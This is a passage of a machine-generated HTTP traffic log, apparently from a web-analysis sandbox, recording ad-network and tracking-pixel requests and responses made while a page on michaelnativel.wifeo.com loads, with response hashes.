d5fceb6532643d0d84ffe09c40c481ecdf59e15a Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
GET /activeview?avi=Bh1mCAPCCWvfwOdWvYraHqfAPAL7QuIXlAgAAEAE4AcgBCaAGIdIIBQiAYRAB&id=osdim&ti=1&r=pv&uc=0&tgt=nf&cl=0&v=r20180207 HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264	172.217.22.162 HTTP/1.1 200 OK Content-Type: image/gif P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Access-Control-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 42 Md5: d89746888da2d9510b64a9f031eaecd5 Sha1: d5fceb6532643d0d84ffe09c40c481ecdf59e15a Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
GET /xbbe/match?xid=yFGbmNY1RhbxEdy8zxu3LYEo HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNX2YrS8W8jkmTBxKWbYGjDOX7e1TbQovl8_Xvp22_mNVEyYmjOczBRnRT1PZlfi2H35Fkhh Cookie: IDE=AHWqTUmlC3OmS97PO7IoOEVlyUMMKUewC4_WKt-3qAaSAuiQN6HvIXnn3x8Auxmr	172.217.22.162 HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Tue, 13 Feb 2018 14:02:43 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info ---
GET /setuid?entity=101&code=CAESELLkQuC2aJgjs93znAnFf2A&google_cver=1 HTTP/1.1 Host: ib.adnxs.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNX2YrS8W8jkmTBxKWbYGjDOX7e1TbQovl8_Xvp22_mNVEyYmjOczBRnRT1PZlfi2H35Fkhh	37.252.172.42 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx/1.13.4 Date: Tue, 13 Feb 2018 14:02:45 GMT Content-Length: 43 Connection: keep-alive Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 AN-X-Request-Uuid: 0ddd4d27-945d-4c5c-b1a3-1e51ca364fd6 Set-Cookie: anj=dTM7k!M41.DunaTF']wIg2HaQD2>7N!@wnf]maBDeKuh7<xR))l!Qa3jb3'!^lmBWi7:Eak`D<_hW@eyh/egXtl2@j@]Ex]*PRPP(dH]--Iz+; Path=/; Max-Age=7776000; Expires=Mon, 14-May-2018 14:02:45 GMT; Domain=.adnxs.com; HttpOnly sess=1; Path=/; Max-Age=86400; Expires=Wed, 14-Feb-2018 14:02:45 GMT; Domain=.adnxs.com; HttpOnly X-Proxy-Origin: 77.40.129.123; 77.40.129.123; 247.bm-nginx-loadbalancer.mgmt.fra1; .adnxs.com; 37.252.172.21:80 --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 43 Md5: 592ebefc7104d681d57852665e9ad514 Sha1: 15cdf8df32aa251dd6dd590a60bf9cf74474e7c5 Sha256: 4b5b6b15c6255109e06720cce42a06d3aead8b7874423d9c52cb0303212c25ef
GET /bg/IOA8y9bJh23yzX_Xx1Lzdpvil-FmhhSrkRF2am8kUAc.js HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://tpc.googlesyndication.com/sodar/6uQTKQJz.html	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/javascript Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4991 Date: Sun, 11 Feb 2018 22:21:44 GMT Expires: Mon, 11 Feb 2019 22:21:44 GMT Last-Modified: Mon, 05 Feb 2018 09:45:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=31536000 Age: 142859 Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 4991 Md5: 35c97f406c207e558268924a05d5cfb0 Sha1: 410bd15d5b2dbffb516605c9d5a2a52d8d8d6eed Sha256: 536f40cf7ac29a53a42ac183eefd062e0228e22f034f8ad2e8f1ffaaa771f5ed
GET /csimpr/?bn=21309103&csi=kxDSylZW3BOPpRnQbl_qNPzTX0_v58K22U2eWLEEnMqDbTMoIwQorwO8_7rsP1jj0 HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264 Cookie: C=1; cid=5540862615520228074,0,0,0,0; uid=5540862615520228074	37.157.6.253 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx Date: Tue, 13 Feb 2018 14:02:43 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Expires: -1 Access-Control-Allow-Origin: * P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 35 Md5: 28d6814f309ea289f847c69cf91194c6 Sha1: 0f4e929dd5bb2564f7ab9c76338e04e292a42ace Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
GET /Banners/21767731/21767731.gif?bv=2 HTTP/1.1 Host: s1.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264 Cookie: uid=5540862615520228074	37.157.6.234 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx Date: Tue, 13 Feb 2018 14:02:43 GMT Content-Length: 15052 Connection: keep-alive Keep-Alive: timeout=15 Last-Modified: Tue, 19 Sep 2017 08:36:47 GMT Etag: "59c0d71f-3acc" P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" Access-Control-Allow-Origin: * Cache-Control: public, max-age=604800 Strict-Transport-Security: max-age=0 X-Cache-Status: HIT Accept-Ranges: bytes --- Additional Info --- Magic: GIF image data, version 89a, 468 x 60 Size: 15052 Md5: 87742ccf99a1950a3e66f12429ba7615 Sha1: 5b43913981347e76b1914daf4ae701481ce1e86e Sha256: 3458ad70db311347cc06f1e978796e11a424a4c8ae78a78d505569a1a534808e
GET /pagead/gen_204?id=sodar&v=24&t=2&bgai=B5hg3AfCCWuqoDciyYYGEtYAJAAAAADgB4AQC&bg=!p6SlpLxElacSMfm7JpICAAAAuFIAAAARCgAGo8Hx0DrcmQEjD1YeIgB79ttFuyYqRhP5RwrZIF3jvuqNCtdqZfkIX0up7lqlzXBV_dVzbujD2iW9Cq8XcTEbPrtxWEn0kYKdtEPpt_887M4lD3yD-iyqv16kB5sVZdnQ4988pkiLmd9SP8tb1GokhbTx1i5TOs5II_QXvS7rgGGCr9srJvhMeoUDoKp7D7gaHkMYTsEOB2_52OtjcriZ7ArKoQZMbMC-KmJmzc6Kqx4-brwT8J6JJpgIQMnUK3LF_ek2HL0gN6FwlYWUQVNujrrpt2_N00L-L5lHfEBGC4siqXV1qVCIPecapXCthLXEPP6_rEqs9XemAgvbSvq75VjuauvfPAoEtY1fetvf9ZXePTOKvl-sBNp7Bk_eQaRlEJEJZMdOppo7Zbp6 HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://tpc.googlesyndication.com/sodar/6uQTKQJz.html	172.217.22.162 HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info ---
GET /pcs/view?xai=AKAOjsuRApkmTV_zOPtX8C_Yv6RNDl6UZyibxuoIUE8jRsKROBalMBy_AnKYff3iRT3-Nl2MuxoV8NBZKbW2_j11FCuaY75Nfg9PNzLVQ5rDpbJBQ6QDvxZh9qwU18l90T9yi_65gZhDe6R_1FaHLQShXhpqS6C3p9iCv5DNoiiIyKmlVGhrjq3ILh80Yehpbm2HJXEh8IEn_XOagBvrFsNxq0sER45SKoJHVMIxquy13wj-FdOGAXN9j2XqeLFXbjAdaR94MFsvnV07DwFp4GJaRodQbZNwLOwcl_mglnNmoPZDlEx3d30qrQwJshCS0aDN7P5moifbzHFuI_TqbNdA8nsRnRXetH1WMfdJsN1J0AN3CBm35aMwr8uArxwKi3ZOFE9TaAD78m2UH_9dqckQP99NHDOkRLwtD6hXlzlB3JLb3wt5pTG8BHXnEkqvZyJHQ_hRnZC8dETQMs3xSvydel3QvhwQaQWmMrSfPInP8r4GIvxDJnXScAl4GXAVcTaOAyz2sjkzW2Fx-_AejQOm1Ag4QtZMR_yJqqem5LhvT74JhBuI96TglwvpvjIkJ2cuXnNXIXhbkvcKiGcsJN2xraoshJ5UAhVh_SUnhUOdGUBiBGhHctgBpZ-iSINmGFgWrOBa9jhQP5v7u9-TaxBxbAF9A3gUMHoDSmzu1GlwZTHDGyAwFTEUv7c3f6HstlgCnqY1j_rRqPZeGr9NhHKfzKuyIr-JOJrzRNaUmjEC-4IsyCzVFH0EAFVd-ycts3F43Ys_ldhomdhAMr6R2ScXfnrVJRYyFTMC71UQZzJbsDzpAXQoVVW5PI5SDNsTQQ&sai=AMfl-YT-qokCoRUdycTUnoGNqdhGAqO7yFTAu2BmtKCrg3ra-kB66S1CbG7z7YNcVsTZQ6p1ZVfyZw7sqgwNgasPUpXdYCavovLs&sig=Cg0ArKJSzIXHQQtugRxxEAE&urlfix=1&adurl= HTTP/1.1 Host: googleads4.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560105&bpp=4&fdt=349&idt=445&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=3781&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=3&dtd=471 Cookie: IDE=AHWqTUmlC3OmS97PO7IoOEVlyUMMKUewC4_WKt-3qAaSAuiQN6HvIXnn3x8Auxmr	216.58.209.130 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cache-Control: private X-Content-Type-Options: nosniff Date: Tue, 13 Feb 2018 14:02:43 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info ---
GET /pagead/gen_204?id=sodar&v=24&t=2&bgai=B12fOAfCCWtvJD46GZvuwvugBAAAAADgB4AQC&bg=!wcKlwtpEd5lCiJvNm_YCAAAAtVIAAAASCgAGo7gZNcRwmQEjc4ynGlMxzJserL3M3_iYMcT2Rg6966PaWoSDWuns6NJkT9m87ITGr6cs-V9s6sJfDHQZigUGg0VSi5Dd-TzD-L9q-nNNsoBmha4SOxdK1SZ4uWekLxpSVeRdNsjqo1mA3lXLvZ7_fWggLZmMIVs42zP7PqLfGnQLtvpUIz6tAHzkQrtzGecsqKP7_OruwplyuRol9k6BdZQnLePDg3xvkHKdK4WBRnjwVoMrfEzBvDN_tzflt9THFNNLEVpDZ4a2Tk-PrRAwgedjcVwuiVoQv-uwo9ug1_KPczWCcT2uH1WRmSIsqFUCs_TA_4gYzaXdMXBVlCdO3Tul47eHpl2PyMXI6135uo27AnVyX97wsYMWGrtB6N_h8_ptXxGl9IG6vM2d HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://tpc.googlesyndication.com/sodar/6uQTKQJz.html	172.217.22.162 HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info ---
GET /serving/unload/?version=15&unload=4884062866989652075@@21309103,6943412087193422675,0\|0\|0\|0\|0\|0\|0\|0\|0\|\|0\|1\|1\|5a82f000000e77340a188f8d02011ad5_1\|\|\|1\|0\|0\|\| HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358 Cookie: C=1; cid=5540862615520228074,0,0,0,0; uid=5540862615520228074	37.157.6.253 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx Date: Tue, 13 Feb 2018 14:02:48 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Expires: -1 Access-Control-Allow-Origin: * P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 35 Md5: 28d6814f309ea289f847c69cf91194c6 Sha1: 0f4e929dd5bb2564f7ab9c76338e04e292a42ace Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
GET /serving/unload/?version=15&unload=4884062866989652075@@21309103,6943412087193422675,0\|0\|0\|0\|0\|0\|0\|0\|0\|\|0\|1\|1\|5a82f000000e77340a188f8d02011ad5_1\|\|\|1\|0\|0\|\| HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358 Cookie: C=1; cid=5540862615520228074,0,0,0,0; uid=5540862615520228074	37.157.6.253 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx Date: Tue, 13 Feb 2018 14:02:48 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Expires: -1 Access-Control-Allow-Origin: * P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 35 Md5: 28d6814f309ea289f847c69cf91194c6 Sha1: 0f4e929dd5bb2564f7ab9c76338e04e292a42ace Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
GET /serving/unload/?version=15&unload=5540862615520228074@@21309103,7853764838924771920,41\|0\|0\|0\|0\|0\|0\|0\|0\|\|0\|1\|1\|5a82f000000e78770a1897d5fe0a43b6_1\|\|\|1\|0\|0\|\| HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264 Cookie: C=1; cid=5540862615520228074,0,0,0,0; uid=5540862615520228074	37.157.6.253 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx Date: Tue, 13 Feb 2018 14:02:48 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: 